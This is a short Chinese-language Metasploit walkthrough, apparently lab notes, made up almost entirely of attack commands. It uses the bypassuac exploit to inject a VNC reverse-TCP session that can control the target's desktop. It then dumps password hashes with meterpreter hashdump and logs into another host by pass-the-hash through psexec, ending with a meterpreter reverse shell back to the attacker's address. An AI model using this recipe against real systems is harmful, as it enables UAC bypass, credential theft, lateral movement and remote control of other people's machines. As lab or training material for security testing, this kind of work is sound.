图形化payload、Passthehash

获取图形化payload

msf > use exploit/windows/local/bypassuac

msf exploit(bypassuac) > set session 5

msf exploit(bypassuac) > set payload windows/vncinject/reverse_tcp

msf exploit(bypassuac) > exploit

msf exploit(bypassuac) > set viewonly false  如果想操作目标主机，可以把viewonly设置成false

---

Passthehash

get到system权限后，使用hashdump获取用户名和密码的hash值

meterpreter > hashdump

Psexec 模块之 Passthehash(使用“用户名+密码的hash值”来登录目标系统 )

在本次实验中，要确保目标主机的UAC是关闭的。

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set rhost 192.168.80.33

msf exploit(psexec) > set smbuser a

msf exploit(psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp

msf exploit(psexec) > set lhost 192.168.80.163

msf exploit(psexec) > exploit